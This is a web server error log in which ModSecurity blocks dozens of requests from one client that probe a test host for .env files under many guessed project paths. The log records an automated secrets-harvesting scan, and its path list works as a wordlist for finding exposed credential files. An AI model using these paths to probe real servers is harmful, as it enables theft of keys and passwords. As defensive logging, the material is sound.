[Mon Jul 28 20:46:19.461102 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptVisualizeProject/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelfgAAAAg&quot;]
[Mon Jul 28 20:46:19.490847 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/add-auth/express/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/add-auth/express/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelfwAAAAg&quot;]
[Mon Jul 28 20:46:19.491075 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/add-auth/express/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelfwAAAAg&quot;]
[Mon Jul 28 20:46:19.491401 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/add-auth/express/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelfwAAAAg&quot;]
[Mon Jul 28 20:46:19.520563 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/assembly/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/assembly/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelgAAAAAg&quot;]
[Mon Jul 28 20:46:19.520761 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/assembly/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelgAAAAAg&quot;]
[Mon Jul 28 20:46:19.520923 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/assembly/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelgAAAAAg&quot;]
[Mon Jul 28 20:46:19.550074 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/character-service/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/character-service/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelgQAAAAg&quot;]
[Mon Jul 28 20:46:19.550271 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/character-service/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelgQAAAAg&quot;]
[Mon Jul 28 20:46:19.550457 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/character-service/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelgQAAAAg&quot;]
[Mon Jul 28 20:46:19.583537 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/client/mobile/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/client/mobile/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelggAAAAg&quot;]
[Mon Jul 28 20:46:19.583753 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/client/mobile/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelggAAAAg&quot;]
[Mon Jul 28 20:46:19.583929 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/client/mobile/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelggAAAAg&quot;]
[Mon Jul 28 20:46:19.612985 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/core/tests/dotenv-files/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/core/tests/dotenv-files/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelgwAAAAg&quot;]
[Mon Jul 28 20:46:19.613186 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/core/tests/dotenv-files/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelgwAAAAg&quot;]
[Mon Jul 28 20:46:19.613390 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/core/tests/dotenv-files/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelgwAAAAg&quot;]
[Mon Jul 28 20:46:19.642698 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/gameprovider-service/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/gameprovider-service/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelhAAAAAg&quot;]
[Mon Jul 28 20:46:19.642901 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/gameprovider-service/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelhAAAAAg&quot;]
[Mon Jul 28 20:46:19.643067 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/gameprovider-service/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelhAAAAAg&quot;]
[Mon Jul 28 20:46:19.672325 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/main/front-end/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/front-end/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelhQAAAAg&quot;]
[Mon Jul 28 20:46:19.672549 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/front-end/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelhQAAAAg&quot;]
[Mon Jul 28 20:46:19.672763 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/front-end/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelhQAAAAg&quot;]
[Mon Jul 28 20:46:19.702123 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/main/resources/archetype-resources/__rootartifactid__-acceptance-test/src/test/resources/app-launcher-tile/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/resources/archetype-resources/__rootArtifactId__-acceptance-test/src/test/resources/app-launcher-tile/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelhgAAAAg&quot;]
[Mon Jul 28 20:46:19.702379 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/resources/archetype-resources/__rootArtifactId__-acceptance-test/src/test/resources/app-launcher-tile/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelhgAAAAg&quot;]
[Mon Jul 28 20:46:19.702558 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/resources/archetype-resources/__rootArtifactId__-acceptance-test/src/test/resources/app-launcher-tile/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelhgAAAAg&quot;]
[Mon Jul 28 20:46:19.731935 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/renderer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/renderer/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelhwAAAAg&quot;]
[Mon Jul 28 20:46:19.732165 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/renderer/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelhwAAAAg&quot;]
[Mon Jul 28 20:46:19.732349 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/renderer/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelhwAAAAg&quot;]
[Mon Jul 28 20:46:19.761726 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /srv6_controller/controller/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/controller/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreliAAAAAg&quot;]
[Mon Jul 28 20:46:19.761972 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/controller/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreliAAAAAg&quot;]
[Mon Jul 28 20:46:19.762152 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/controller/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreliAAAAAg&quot;]
[Mon Jul 28 20:46:19.791521 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /srv6_controller/examples/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/examples/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJreliQAAAAg&quot;]
